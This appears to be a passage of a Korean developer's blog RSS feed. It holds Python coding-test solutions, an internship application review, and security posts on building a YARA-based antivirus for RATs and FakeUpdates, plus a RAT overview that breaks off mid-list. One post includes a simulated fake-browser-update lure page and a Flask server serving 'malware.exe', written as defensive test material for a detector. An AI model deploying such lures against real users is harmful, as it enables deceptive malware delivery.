<li><p>검사자는 자신이 속한 식당의 고객만 검사할 수 있습니다.</p>
</li>
</ul>
<p>이 조건을 만족하며, 모든 고객을 검사하기 위해 필요한 검사자의 최소 수를 구하는 것이 이 문제의 목표입니다.</p>
<h3 id="입력-조건">입력 조건</h3>
<p>첫째 줄: 식당 수 n (1 ≤ n ≤ 1,000,000)</p>
<p>둘째 줄: 각 식당의 고객 수 c[i] (1 ≤ c[i] ≤ 1,000,000)</p>
<p>셋째 줄: 검사팀장 a, 검사팀원 b가 검사할 수 있는 최대 고객 수 (1 ≤ a, b ≤ 1,000,000)</p>
<h3 id="출력-조건">출력 조건</h3>
<p>모든 식당 고객을 검사하기 위해 필요한 최소 검사자 수를 출력합니다.</p>
<h3 id="문제-접근">문제 접근</h3>
<p>이 문제는 그리디 알고리즘(탐욕법)으로 접근할 수 있습니다.
각 식당에 대해 다음과 같은 절차를 따르면 됩니다:</p>
<ul>
<li><p>무조건 검사팀장 1명을 배치합니다.</p>
</li>
<li><p>검사팀장이 검사할 수 있는 만큼(a명) 우선 검사합니다.</p>
</li>
<li><p>남은 고객 수에 대해 검사팀원을 필요한 만큼 배치합니다.</p>
</li>
<li><p>팀원은 한 명당 최대 b명까지 검사할 수 있으므로, 남은 고객 수를 b로 나누고, 나머지가 있다면 한 명 더 추가합니다.</p>
</li>
</ul>
<h3 id="코드">코드</h3>
<pre><code>n = int(input())  # 식당 수
c = list(map(int, input().split()))  # 각 식당의 고객 수
a, b = map(int, input().split())  # 팀장, 팀원이 검사 가능한 최대 고객 수

def check(n, c, a, b):
    total = 0  # 총 필요한 검사자 수

    for i in range(len(c)):
        # 각 식당마다 팀장 1명은 무조건 필요
        total += 1
        c[i] -= a  # 팀장이 검사한 만큼 빼기

        if c[i] &gt; 0:
            # 팀원 필요한 수 계산
            count = c[i] // b
            if c[i] % b &gt; 0:
                count += 1
            total += count  # 팀원 수 더하기

    return total

print(check(n, c, a, b))</code></pre><p>마무리
이 문제의 핵심은 각 식당에 반드시 팀장 1명은 필요하다는 조건을 빠뜨리지 않는 것입니다.
그 외에는 고객 수에 따라 필요한 만큼의 팀원을 나누어 배치하면 되는 단순한 그리디 문제입니다.</p>
<p>처음에는 단순한 반복문만으로 해결 가능하다는 점에서 접근성이 좋고, 입력 크기가 크기 때문에 효율적인 구현이 중요합니다.</p>
<h1 id="외주-수익-최대화">외주 수익 최대화</h1>
<h2 id="문제-설명-1">문제 설명</h2>
<p>어느 개발자가 n일간의 휴가를 갖게 되었습니다.
이 휴가 기간 동안 외주 개발 작업을 수행해 수익을 최대화하려고 합니다.</p>
<ul>
<li><p>매일 하나의 외주 작업이 주어지며, 각 작업은 수행에 필요한 기간 t와 작업을 완료했을 때의 수익 p가 주어집니다.</p>
</li>
<li><p>외주 작업은 동시에 여러 개를 수행할 수 없습니다.</p>
</li>
<li><p>작업이 휴가 기간을 넘겨서 끝나는 경우, 수행할 수 없습니다.</p>
</li>
</ul>
<h3 id="입력-형식">입력 형식</h3>
<ul>
<li><p>첫째 줄: 휴가 일 수 n (1 ≤ n ≤ 15)</p>
</li>
<li><p>이후 n개의 줄: 각 줄에 외주 작업의 기간 t와 수익 p (1 ≤ t ≤ 5, 1 ≤ p ≤ 1000)</p>
</li>
</ul>
<h3 id="예제-입력">예제 입력</h3>
<pre><code>2
2 5
1 4</code></pre><p>[예제 설명]
1일차 작업은 2일이 걸리고 수익은 5</p>
<p>2일차 작업은 1일이 걸리고 수익은 4</p>
<p>최대 수익은 1일차 작업 하나만 수행하여 5입니다. (2일차 작업을 하게 되면 1일차 작업을 못하므로 총 수익이 더 낮아짐)</p>
<h3 id="문제-접근-방식">문제 접근 방식</h3>
<p>이 문제는 모든 작업의 조합을 탐색하면서 가능한 경우 중에서 수익이 최대가 되는 조합을 찾아야 합니다.
이때 백트래킹(Backtracking) 을 활용하면 효율적으로 탐색할 수 있습니다.</p>
<p>백트래킹 탐색 방법</p>
<ul>
<li><p>selected_jobs 리스트에 현재 선택한 외주 작업 인덱스를 저장합니다.</p>
</li>
<li><p>탐색 도중 조건에 맞지 않는 작업 조합이면 더 이상 탐색하지 않고 돌아갑니다.</p>
</li>
<li><p>조건을 만족한다면 현재 수익을 계산하여 max_profit을 갱신합니다.</p>
</li>
</ul>
<p>[핵심 조건]</p>
<ol>
<li>각 작업은 겹치지 않아야 하며, 작업 기간이 끝나는 날이 휴가일 n일을 넘으면 안 됩니다.</li>
<li>작업들의 시작일과 종료일을 미리 계산해두고 조건에 맞는 조합만 탐색해야 합니다.</li>
</ol>
<pre><code>n = int(input())

# 외주 작업의 (기간, 수익) 리스트
given_time_profits = [
    tuple(map(int, input().split()))
    for _ in range(n)
]

# 각 외주 작업의 (시작일, 종료일) 계산
times = [
    (i, i + time - 1)
    for i, (time, _) in 
    enumerate(given_time_profits, start=1)
]

profits = [
    profit 
    for _, profit in given_time_profits
]

selected_jobs = []
max_profit = 0

# 선택한 외주 작업의 총 수익 계산
def get_profit():
    return sum([
        profits[job_idx]
        for job_idx in selected_jobs
    ])

# 현재 선택한 작업들이 조건에 맞는지 검사
def is_available():
    # 외주 작업 간의 시간 겹침 체크
    for i in range(len(selected_jobs) - 1):
        _, end_time = times[selected_jobs[i]]
        start_time, _ = times[selected_jobs[i + 1]]
        if end_time &gt;= start_time:
            return False

    # 각 작업의 종료일이 n일 이내인지 체크
    for job_idx in selected_jobs:
        _, end_time = times[job_idx]
        if end_time &gt; n:
            return False

    return True

# 백트래킹 탐색
def find_max_profit(curr_idx):
    global max_profit

    # 모든 날짜 탐색 완료
    if curr_idx == n:
        if is_available():
            max_profit = max(max_profit, get_profit())
        return

    # 현재 작업을 수행하지 않을 경우
    find_max_profit(curr_idx + 1)

    # 현재 작업을 수행할 경우
    selected_jobs.append(curr_idx)
    find_max_profit(curr_idx + 1)
    selected_jobs.pop()

# 탐색 시작
find_max_profit(0)
print(max_profit)
</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[삼성전자 2025 인턴쉽 지원]]></title>
            <link>https://velog.io/@hae_to/%EC%82%BC%EC%84%B1%EC%A0%84%EC%9E%90-2025-%EC%9D%B8%ED%84%B4%EC%89%BD-%EC%A7%80%EC%9B%90</link>
            <guid>https://velog.io/@hae_to/%EC%82%BC%EC%84%B1%EC%A0%84%EC%9E%90-2025-%EC%9D%B8%ED%84%B4%EC%89%BD-%EC%A7%80%EC%9B%90</guid>
            <pubDate>Thu, 03 Apr 2025 08:27:41 GMT</pubDate>
            <description><![CDATA[<hr>
<h1 id="삼성전자-2025-dx-sw-보안-인턴십-지원-후기"><strong>삼성전자 2025 DX SW 보안 인턴십 지원 후기</strong></h1>
<p>삼성전자 2025 DX SW 보안 인턴십에 지원하면서 나만의 경험과 역량을 정리해볼 기회가 있었다. 이번 포스팅에서는 자소서 문항별 핵심 내용을 공유하며, 나와 같은 보안 분야 취업을 준비하는 분들에게 도움이 될 만한 내용을 담아보았다.  </p>
<hr>
<h2 id="1-삼성전자-및-해당-직무에-지원한-이유는"><strong>1. 삼성전자 및 해당 직무에 지원한 이유는?</strong></h2>
<blockquote>
<p>✅ <strong>보안이 사용자 경험 속에 자연스럽게 녹아드는 환경을 만들고 싶다.</strong><br>✅ <strong>삼성 Knox와 Knox Matrix의 발전 방향에 기여하고 싶다.</strong><br>✅ <strong>보안성과 사용자 편의성을 동시에 고려한 연구를 해보고 싶다.</strong>  </p>
</blockquote>
<p>삼성전자는 글로벌 보안 기술을 선도하는 기업 중 하나이며, 특히 <strong>Knox 플랫폼</strong>은 모바일 보안 분야에서 높은 평가를 받고 있다. 하지만 보안은 단순히 강력하기만 해서는 안 되며, <strong>사용자 경험과의 균형</strong>이 중요하다. 나는 이러한 방향성을 연구하고, 삼성전자의 보안 기술을 더욱 발전시키는 데 기여하고 싶어 지원했다.  </p>
<hr>
<h2 id="2-본인의-경험-및-역량이-직무에-어떻게-기여할-수-있는가"><strong>2. 본인의 경험 및 역량이 직무에 어떻게 기여할 수 있는가?</strong></h2>
<blockquote>
<p>✅ <strong>KITRI 화이트 햇 스쿨에서 실전 보안 프로젝트 수행</strong><br>✅ <strong>랜섬웨어 분석, 다크웹 OSINT 연구, AI 기반 보안 기술 연구 경험</strong><br>✅ <strong>FlareVM 기반 악성코드 분석 및 YARA 룰 생성 경험</strong>  </p>
</blockquote>
<p>나는 실제 보안 위협을 분석하고 해결하는 실전 경험을 쌓아왔다.  </p>
<ul>
<li><strong>랜섬웨어 그룹 분석</strong>: 피해 패턴을 AI로 분석해 위협 인텔리전스를 구축  </li>
<li><strong>다크웹 OSINT 연구</strong>: 해킹 포럼 및 위협 행위자 추적을 위한 크롤링 시스템 개발  </li>
<li><strong>FlareVM 기반 악성코드 분석</strong>: YARA 룰을 생성해 탐지 및 대응 기술 연구  </li>
</ul>
<p>이러한 경험을 바탕으로, 삼성전자의 보안 시스템을 더욱 정교하고 효율적으로 만드는 데 기여할 수 있다고 생각한다.  </p>
<hr>
<h2 id="3-본인이-해결했던-문제와-이를-해결하기-위해-노력했던-과정은"><strong>3. 본인이 해결했던 문제와 이를 해결하기 위해 노력했던 과정은?</strong></h2>
<blockquote>
<p>✅ <strong>AI 기반 보안 위협 분석 자동화</strong><br>✅ <strong>OSINT 기반 크롤링 시스템 개발</strong><br>✅ <strong>보안성과 사용자 경험의 균형을 고려한 보안 기능 설계</strong>  </p>
</blockquote>
<p>보안 위협은 단순히 탐지하는 것만으로 해결되지 않는다. <strong>빠르고 효율적인 대응 체계를 갖추는 것</strong>이 중요하다. 이를 위해 나는 <strong>AI 기반 위협 분석 자동화, 다크웹 위협 인텔리전스 구축, 보안 UX 개선 연구</strong> 등의 프로젝트를 수행하며, 보안 기술이 실질적으로 사용자 보호에 기여할 수 있도록 고민했다.  </p>
<hr>
<h2 id="4-삼성전자에서-이루고-싶은-목표는"><strong>4. 삼성전자에서 이루고 싶은 목표는?</strong></h2>
<blockquote>
<p>✅ <strong>실시간 위협 분석 및 대응 자동화</strong><br>✅ <strong>사용자 경험과 보안의 균형을 맞춘 보안 시스템 설계</strong><br>✅ <strong>양자 보안(Post-Quantum Cryptography) 기술 연구</strong>  </p>
</blockquote>
<p>특히, 나는 <strong>양자 컴퓨팅 시대에 대비한 보안 기술 연구</strong>에 관심이 많다. 양자 컴퓨터가 기존 암호 체계를 무력화할 가능성이 있는 만큼, 삼성전자도 <strong>Post-Quantum Cryptography(PQC)</strong>와 같은 차세대 암호화 기술을 도입해야 한다. 나는 이런 미래 보안 기술 연구에 참여하고, 삼성 Knox가 <strong>양자 시대에도 안전한 보안 플랫폼</strong>이 될 수 있도록 기여하고 싶다.  </p>
<hr>
<h3 id="마무리하며"><strong>마무리하며</strong></h3>
<p>이번 삼성전자 인턴십을 준비하면서, 나의 경험과 목표를 정리할 수 있는 좋은 기회가 되었다. 보안은 단순한 기술이 아니라, <strong>실제 사용자 보호를 위한 전략과 고민이 필요하다</strong>는 점을 다시 한번 느낄 수 있었다.  </p>
<p>나와 같은 보안 분야 취업을 준비하는 분들에게 도움이 되었길 바란다!</p>
<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[백신 프로젝트 진행 후기]]></title>
            <link>https://velog.io/@hae_to/%EB%B0%B1%EC%8B%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%A7%84%ED%96%89-%ED%9B%84%EA%B8%B0</link>
            <guid>https://velog.io/@hae_to/%EB%B0%B1%EC%8B%A0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%A7%84%ED%96%89-%ED%9B%84%EA%B8%B0</guid>
            <pubDate>Thu, 20 Mar 2025 10:30:32 GMT</pubDate>
            <description><![CDATA[<h2 id="🔍-개요"><strong>🔍 개요</strong></h2>
<p>이전 글에서는 YARA 룰을 활용하여 트로이 목마(RAT) 및 가짜 업데이트 악성코드(FakeUpdates)를 탐지하는 백신을 개발하는 과정을 소개했습니다. 이 백신은 가볍고 간편하게 실행할 수 있다는 장점이 있어, 접근성과 편의성을 높이기 위해 <strong>크롬 익스텐션으로 확장</strong>하기로 계획했습니다.</p>
<p>이번 글에서는 <strong>크롬 익스텐션 통합 과정과 테스트 결과</strong>를 공유하며, 발생한 문제점과 개선 방향을 다루겠습니다.</p>
<hr>
<h2 id="1️⃣-테스트-백신-개발-yara-룰-기반-탐지"><strong>1️⃣ 테스트 백신 개발 (YARA 룰 기반 탐지)</strong></h2>
<p>먼저, <strong>YARA 룰을 이용하여 악성코드를 탐지하는 백신을 만들었습니다.</strong></p>
<ul>
<li>목표: 트로이 목마(RAT) 및 가짜 업데이트 멀웨어(FakeUpdates)를 탐지</li>
<li>방법: 악성코드 샘플로부터 특징적인 문자열과 행동 패턴을 추출하여 YARA 룰 작성</li>
<li>추가 기능: C2 서버와의 연결을 감지하는 기능 포함</li>
</ul>
<p>코드를 실행하면, 지정된 디렉토리와 현재 실행 중인 프로세스를 모두 검사하여 악성코드를 탐지하도록 설계하였습니다.</p>
<hr>
<h2 id="2️⃣-백신의-크롬-익스텐션화"><strong>2️⃣ 백신의 크롬 익스텐션화</strong></h2>
<p>YARA 룰 기반 백신을 좀 더 쉽게 사용할 수 있도록, 크롬 익스텐션으로 만들기로 했습니다.</p>
<h3 id="💡-크롬-익스텐션화의-목적">💡 <strong>크롬 익스텐션화의 목적</strong></h3>
<ul>
<li>악성 웹사이트와의 통신을 차단</li>
<li>사용자가 브라우저를 통해 악성코드를 다운로드할 때 실시간으로 탐지</li>
<li>사용자 편의성을 높이고, 빠른 탐지 및 경고 제공</li>
</ul>
<h3 id="💡-구현-방법">💡 <strong>구현 방법</strong></h3>
<ul>
<li><code>chrome.webRequest</code> API를 이용하여 악성 사이트 접속 감지</li>
<li><code>chrome.downloads.onDeterminingFilename</code> API로 다운로드되는 파일 검사</li>
<li>브라우저 내에서 실행되는 악성 JavaScript 감지 기능 추가</li>
</ul>
<hr>
<h2 id="3️⃣-탐지율-문제-및-테스트-결과"><strong>3️⃣ 탐지율 문제 및 테스트 결과</strong></h2>
<p>하지만, 실제 테스트 과정에서 <strong>여러 문제가 발견되었습니다.</strong></p>
<h3 id="🔍-문제점-1-낮은-탐지율">🔍 <strong>문제점 1: 낮은 탐지율</strong></h3>
<ul>
<li>YARA 룰을 작성할 때, <strong>엄격하게 검증하지 않은 룰을 적용</strong>한 것이 문제였습니다.</li>
<li>몇 가지 간단한 특징을 기반으로 룰을 작성하다 보니, 탐지할 수 있는 악성코드의 수가 매우 적었습니다.</li>
</ul>
<h3 id="🔍-문제점-2-c2-서버-감지-기능의-한계">🔍 <strong>문제점 2: C2 서버 감지 기능의 한계</strong></h3>
<ul>
<li>C2 서버 연결 감지 기능을 넣었지만, 많은 RAT 악성코드는 탐지되지 않았습니다.</li>
<li>C2 서버 연결 방식이 매우 다양하여 모든 경우를 커버하지 못했습니다.</li>
</ul>
<h3 id="🔍-문제점-3-크롬-익스텐션에서의-탐지-오류">🔍 <strong>문제점 3: 크롬 익스텐션에서의 탐지 오류</strong></h3>
<ul>
<li>크롬 익스텐션으로 만들고 테스트를 진행했을 때, <strong>경고창과 검사 결과 안내는 정상적으로 표시되었지만, 정작 악성코드를 탐지하지 못했습니다.</strong></li>
<li>이는 백신 코드가 웹페이지의 악성 스크립트를 탐지하는 방식이 부정확했기 때문입니다.</li>
</ul>
<hr>
<h2 id="4️⃣-개선-방향-및-앞으로의-계획"><strong>4️⃣ 개선 방향 및 앞으로의 계획</strong></h2>
<h3 id="💡-문제를-해결하기-위한-접근-방식">💡 <strong>문제를 해결하기 위한 접근 방식</strong></h3>
<ol>
<li><p><strong>YARA 룰의 정밀도 개선:</strong></p>
<ul>
<li>샘플 데이터를 더 많이 확보하여, 보다 정확하게 악성코드를 탐지할 수 있는 룰 작성 필요</li>
</ul>
</li>
<li><p><strong>탐지 방식의 확장:</strong></p>
<ul>
<li>정적 분석(YARA) 외에도, <strong>동적 분석(행동 기반 탐지)</strong> 및 <strong>이상 탐지(머신러닝 기반)</strong> 기능 추가 예정</li>
</ul>
</li>
<li><p><strong>크롬 익스텐션의 탐지 로직 수정:</strong></p>
<ul>
<li>웹사이트 트래픽 분석 기능을 강화하고, 다운로드되는 파일의 해시 값을 검사하는 기능 추가 예정</li>
<li>웹페이지 내에서 비정상적인 자바스크립트 호출을 탐지할 수 있는 방식 추가</li>
</ul>
</li>
<li><p><strong>서버와의 연동 테스트:</strong></p>
<ul>
<li>백엔드 서버와의 통신을 통해 탐지 결과를 기록하고 분석하는 시스템 구축 예정</li>
</ul>
</li>
</ol>
<hr>
<h2 id="🚀-결론"><strong>🚀 결론</strong></h2>
<p>이번 시도는 크롬 익스텐션에서 백신을 구현하는 첫 번째 단계였습니다.<br>비록 탐지율이 낮고 오류가 발생하였지만, 이러한 문제를 개선하고 다시 시도할 계획입니다.<br>다음 단계에서는 YARA 룰을 개선하고, 크롬 익스텐션의 탐지 기능을 강화하여 보다 효과적인 백신을 만들겠습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[RAT 및 FakeUpdates 탐지 백신 개발 및 테스트]]></title>
            <link>https://velog.io/@hae_to/RAT-%EB%B0%8F-FakeUpdates-%ED%83%90%EC%A7%80-%EB%B0%B1%EC%8B%A0-%EA%B0%9C%EB%B0%9C-%EB%B0%8F-%ED%85%8C%EC%8A%A4%ED%8A%B8</link>
            <guid>https://velog.io/@hae_to/RAT-%EB%B0%8F-FakeUpdates-%ED%83%90%EC%A7%80-%EB%B0%B1%EC%8B%A0-%EA%B0%9C%EB%B0%9C-%EB%B0%8F-%ED%85%8C%EC%8A%A4%ED%8A%B8</guid>
            <pubDate>Thu, 06 Mar 2025 08:56:55 GMT</pubDate>
            <description><![CDATA[<h1 id="📌-rat-및-fakeupdates-탐지-백신-개발-및-테스트-방법">📌 RAT 및 FakeUpdates 탐지 백신 개발 및 테스트 방법</h1>
<h2 id="🔍-개요"><strong>🔍 개요</strong></h2>
<p>최근 악성코드의 주요 공격 방식 중 하나는 <strong>RAT(원격 액세스 트로이 목마, Remote Access Trojan)</strong> 및 <strong>FakeUpdates(가짜 업데이트 멀웨어)</strong>를 이용한 감염입니다. 이러한 악성코드는 기업 및 개인 사용자의 보안을 위협하며, 추가적인 멀웨어 설치 및 정보 유출을 유발할 수 있다.</p>
<p>이 글에서는 <strong>RAT 및 FakeUpdates를 탐지할 수 있는 백신을 개발하고, 이를 테스트하는 방법</strong>을 설명한다.</p>
<hr>
<h2 id="1️⃣-rat-및-fakeupdates-개요"><strong>1️⃣ RAT 및 FakeUpdates 개요</strong></h2>
<h3 id="🦠-rat-remote-access-trojan"><strong>🦠 RAT (Remote Access Trojan)</strong></h3>
<p>RAT은 공격자가 원격으로 피해자의 컴퓨터를 제어할 수 있도록 설계된 악성코드이며, 주요 기능은 다음과 같다.</p>
<ul>
<li><strong>C2(Command and Control) 서버와 연결</strong>하여 명령을 수신 및 실행</li>
<li>피해자의 <strong>파일 업로드/다운로드, 프로세스 실행, 키로깅</strong> 등 수행</li>
<li>시스템 정보를 유출하고 <strong>추가적인 멀웨어를 다운로드</strong>하여 감염 확대</li>
</ul>
<p>📌 <strong>RAT 악성코드 예제:</strong> AsyncRAT, njRAT, RemcosRAT 등</p>
<h3 id="🎭-fakeupdates-socgholish-멀웨어"><strong>🎭 FakeUpdates (SocGholish) 멀웨어</strong></h3>
<p>FakeUpdates는 <strong>웹사이트에 악성 스크립트를 삽입하여 가짜 소프트웨어 업데이트를 유도</strong>하는 다운로더형 멀웨어입니다. 사용자가 속아 업데이트를 실행하면 추가 악성코드가 설치됨.</p>
<ul>
<li>합법적인 웹사이트를 감염시키고 <strong>JavaScript 기반 가짜 업데이트 경고</strong> 표시</li>
<li>사용자가 속아 업데이트를 실행하면 <strong>RAT, 랜섬웨어, 정보 탈취형 멀웨어</strong> 다운로드</li>
<li><strong>기업 네트워크 침투</strong> 및 공급망 공격에 사용됨</li>
</ul>
<p>📌 <strong>실제 공격 사례:</strong> SocGholish를 이용한 Conti 랜섬웨어 배포 사례 (2022년)</p>
<hr>
<h2 id="2️⃣-fakeupdates-예제-코드-제작-테스트용"><strong>2️⃣ FakeUpdates 예제 코드 제작 (테스트용)</strong></h2>
<p>FakeUpdates 멀웨어는 <strong>사용자를 속이는 가짜 업데이트 메시지</strong>를 표시하고 악성 파일을 다운로드합니다. 이를 시뮬레이션하기 위해 다음과 같은 예제 코드를 작성.</p>
<h3 id="💡-fakeupdates-가짜-업데이트-html-코드"><strong>💡 FakeUpdates 가짜 업데이트 HTML 코드</strong></h3>
<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;Fake Browser Update&lt;/title&gt;
    &lt;script&gt;
        function fakeUpdate() {
            alert(&quot;Your browser is out of date! Please update now.&quot;);
            window.location.href = &quot;http://127.0.0.1:5000/malware.exe&quot;;
        }
        setTimeout(fakeUpdate, 2000);
    &lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Welcome to Safe Browsing&lt;/h1&gt;
    &lt;p&gt;Your browser is up-to-date.&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<p>📌 <strong>동작 방식</strong>
✅ <strong>2초 후 가짜 업데이트 경고 표시</strong><br>✅ 사용자가 클릭하면 <strong>malware.exe 다운로드</strong><br>✅ 백신이 탐지해야 하는 악성 다운로드 URL 생성  </p>
<hr>
<h2 id="3️⃣-fakeupdates-탐지-서버-구축-python-flask"><strong>3️⃣ FakeUpdates 탐지 서버 구축 (Python Flask)</strong></h2>
<p>실제 악성코드를 다운로드하지 않고 <strong>백신이 탐지할 수 있도록 가짜 업데이트 서버</strong>를 제작.</p>
<h3 id="💡-python-flask-기반-탐지-서버-코드"><strong>💡 Python Flask 기반 탐지 서버 코드</strong></h3>
<pre><code class="language-python">from flask import Flask, send_file

app = Flask(__name__)

@app.route(&#39;/&#39;)
def fake_update_page():
    return &#39;&#39;&#39;
    &lt;html&gt;
    &lt;head&gt;
        &lt;title&gt;Fake Browser Update&lt;/title&gt;
        &lt;script&gt;
            function fakeUpdate() {
                alert(&quot;Your browser is out of date! Please update now.&quot;);
                window.location.href = &quot;/malware.exe&quot;;
            }
            setTimeout(fakeUpdate, 2000);
        &lt;/script&gt;
    &lt;/head&gt;
    &lt;body&gt;
        &lt;h1&gt;Welcome to Safe Browsing&lt;/h1&gt;
        &lt;p&gt;Your browser is up-to-date.&lt;/p&gt;
    &lt;/body&gt;
    &lt;/html&gt;
    &#39;&#39;&#39;

@app.route(&#39;/malware.exe&#39;)
def fake_malware():
    return send_file(&quot;malware.exe&quot;, as_attachment=True)

if __name__ == &#39;__main__&#39;:
    app.run(host=&quot;0.0.0.0&quot;, port=5000)</code></pre>
<p>📌 <strong>테스트 방법</strong></p>
<ol>
<li><code>python fakeupdates_server.py</code> 실행</li>
<li>브라우저에서 <code>http://127.0.0.1:5000/</code> 접속</li>
<li>가짜 업데이트 페이지가 나타나고 <code>malware.exe</code> 다운로드 시도</li>
<li>백신이 이를 탐지하는지 확인</li>
</ol>
<hr>
<h2 id="4️⃣-yara-기반-fakeupdates-탐지-룰"><strong>4️⃣ YARA 기반 FakeUpdates 탐지 룰</strong></h2>
<p>백신이 FakeUpdates를 탐지할 수 있도록 YARA 룰을 작성합니다.</p>
<h3 id="🛡️-yara-탐지-룰"><strong>🛡️ YARA 탐지 룰</strong></h3>
<pre><code class="language-yara">rule FakeUpdates_Detection {
    meta:
        description = &quot;Detects FakeUpdates (SocGholish)&quot;
        author = &quot;SecurityResearcher&quot;
        date = &quot;2025-03-04&quot;
    strings:
        $update_prompt1 = &quot;Your browser is out of date&quot;
        $update_prompt2 = &quot;Please update your Flash Player&quot;
        $js_obfuscation = /var\s+\w+\s*=\s*function\s*\(\)\s*{.*};/
        $wmi_call = /GetObject\(&quot;winmgmts:/
    condition:
        any of them
}</code></pre>
<p>📌 <strong>탐지 방식</strong>
✅ 가짜 업데이트 메시지 <code>&quot;Your browser is out of date&quot;</code> 포함 여부<br>✅ 난독화된 JavaScript 감지<br>✅ Windows WMI 호출 여부 확인  </p>
<hr>
<h2 id="5️⃣-크롬-익스텐션으로-발전-방향"><strong>5️⃣ 크롬 익스텐션으로 발전 방향</strong></h2>
<p>이제 백신을 <strong>크롬 익스텐션으로 발전</strong>시켜 <strong>웹 트래픽에서 악성코드를 실시간 탐지</strong>할 계획.</p>
<h3 id="🔜-크롬-익스텐션-개발-계획"><strong>🔜 크롬 익스텐션 개발 계획</strong></h3>
<p>1️⃣ <strong>웹사이트에서 가짜 업데이트 탐지</strong> (<code>chrome.webRequest</code>)  
2️⃣ <strong>악성 다운로드 파일 검사</strong> (<code>chrome.downloads.onDeterminingFilename</code>)  
3️⃣ <strong>서버와 연동하여 탐지 로그 수집</strong><br>4️⃣ <strong>사용자에게 경고 메시지 표시</strong>  </p>
<hr>
<h2 id="🚀-결론"><strong>🚀 결론</strong></h2>
<p>✔ <strong>RAT 및 FakeUpdates 탐지 백신 개발</strong><br>✔ <strong>Python Flask 서버에서 가짜 업데이트 테스트 가능</strong><br>✔ <strong>YARA 룰 적용하여 탐지 가능</strong><br>✔ <strong>이제 크롬 익스텐션으로 발전하여 웹 탐지 기능 추가 예정</strong>  </p>
]]></description>
        </item>
        <item>
            <title><![CDATA[RAT(Remote Access Trojan)]]></title>
            <link>https://velog.io/@hae_to/RATRemote-Access-Trojan</link>
            <guid>https://velog.io/@hae_to/RATRemote-Access-Trojan</guid>
            <pubDate>Thu, 20 Feb 2025 09:18:17 GMT</pubDate>
            <description><![CDATA[<h2 id="1-rat이란">1. RAT이란</h2>
<p>RAT(Remote Access Trojan)은 공격자가 피해자의 컴퓨터나 네트워크에 대한 무단 원격 접근 및 제어를 가능하게 하는 악성 소프트웨어. </p>
<h2 id="2-rat의-종류-및-특징">2. RAT의 종류 및 특징</h2>
<ol>
<li>표준 RAT<ul>
<li>가장 일반적인 유형</li>
<li>키스트로크 캡처, 스크린샷 촬영, 파일 접근, 명령 실행 등 다양한 기능 제공</li>
<li>파일 전송, 프로세스 조작, 레지스트리 편집 기능 포함</li>
</ul>
<hr>
</li>
<li>키로거 RAT<ul>
<li>키스트로크를 캡처하여 비밀번호, 로그인 정보 등 민감한 정보 탈취</li>
<li>암호화된 통신도 키 입력 단계에서 캡처하여 우회 가능</li>
</ul>
<hr>
</li>
<li>하이브리드 RAT<ul>
<li>여러 기능을 결합한 다목적 RAT</li>
<li>모듈식 설계로 새로운 기능을 다운로드하여 확장 가능</li>
<li>다양한 플랫폼(Windows, macOS, Android, Linux)에서 작동</li>
</ul>
<hr>
</li>
<li>모바일 RAT (mRAT)<ul>
<li>스마트폰을 대상으로 하는 RAT</li>
<li>SMS 메시지 및 통화 기록 접근, 통화 감청, 기기 원격 제어 기능 제공</li>
</ul>
</li>
</ol>
<h2 id="3-rat의-동작-흐름">3. RAT의 동작 흐름</h2>
<ol>
<li>초기 감염: 이메일 첨부파일, 악성 다운로드, 또는 대규모 멀웨어 패키지의 일부로 전파</li>
<li>백도어 생성: 시스템에 설치된 후 공격자를 위한 백도어 생성</li>
<li>정보 수집: 시스템 정보 수집, 키로깅, 스크린 캡처 등 수행</li>
<li>통신 설정: 명령 및 제어(C2) 서버와 통신 설정</li>
<li>추가 악성코드 다운로드: 필요에 따라 추가 악성코드 설치</li>
<li>지속적인 제어: 공격자가 시스템을 지속적으로 모니터링하고 제어</li>
</ol>
<p><img src="https://velog.velcdn.com/images/hae_to/post/7aaf1d98-80c6-40bc-b3f9-9c16726a6690/image.png" alt=""></p>
<h2 id="4-rat의-구조">4. RAT의 구조</h2>
<h3 id="--파일-유형별-특징"><strong>- 파일 유형별 특징</strong></h3>
<p>RAT(Remote Access Trojan)은 다양한 파일 유형으로 배포될 수 있으며, 각 유형별로 특징이 있음:</p>
<ol>
<li>실행 파일(.exe):<ul>
<li>주로 Windows 시스템을 대상으로 함</li>
<li>직접 실행 가능한 형태로 배포됨</li>
<li>안티바이러스 소프트웨어의 주요 탐지 대상</li>
</ul>
<hr>
</li>
<li>스크립트 파일(.vbs, .ps1):<ul>
<li>Windows 내장 스크립트 엔진을 이용해 실행됨</li>
<li>텍스트 기반이라 수정과 난독화가 용이함</li>
<li>보안 설정에 따라 실행이 제한될 수 있음</li>
</ul>
<hr>
</li>
<li>문서 파일(.doc, .pdf):<ul>
<li>매크로나 취약점을 이용해 RAT을 로드함</li>
<li>일반적인 업무용 문서로 위장하여 사용자의 의심을 피함</li>
<li>파일 확장자만으로는 악성 여부 판단이 어려움</li>
</ul>
<hr>
</li>
<li>디스크 이미지 파일(.img, .iso):<ul>
<li>정상적인 디스크 이미지로 위장</li>
<li>파일 내부에 악성 코드를 숨길 수 있음</li>
<li>안티바이러스 소프트웨어의 검사를 우회하기 쉬움</li>
</ul>
<hr>
</li>
<li>압축 파일(.zip):<ul>
<li>특수하게 포맷된 악성 ZIP 파일로 배포</li>
<li>내부에 여러 파일을 포함할 수 있어 복잡한 RAT 구조 숨기기 용이</li>
<li>암호화된 압축 파일로 배포되어 검사를 어렵게 만들 수 있음</li>
</ul>
</li>
</ol>
<h3 id="--주요-기능-분석"><strong>- 주요 기능 분석</strong></h3>
<ol>
<li>원격 명령 실행: 시스템에서 임의의 명령어 실행 가능</li>
<li>파일 시스템 접근: 파일 읽기, 수정, 삭제 기능</li>
<li>키로깅: 사용자의 키보드 입력 기록</li>
<li>화면 및 웹캠 캡처: 사용자의 화면이나 웹캠 영상 녹화</li>
<li>네트워크 트래픽 감시: 사용자의 온라인 활동 모니터링</li>
</ol>
<h3 id="--보안-위험성"><strong>- 보안 위험성</strong></h3>
<ul>
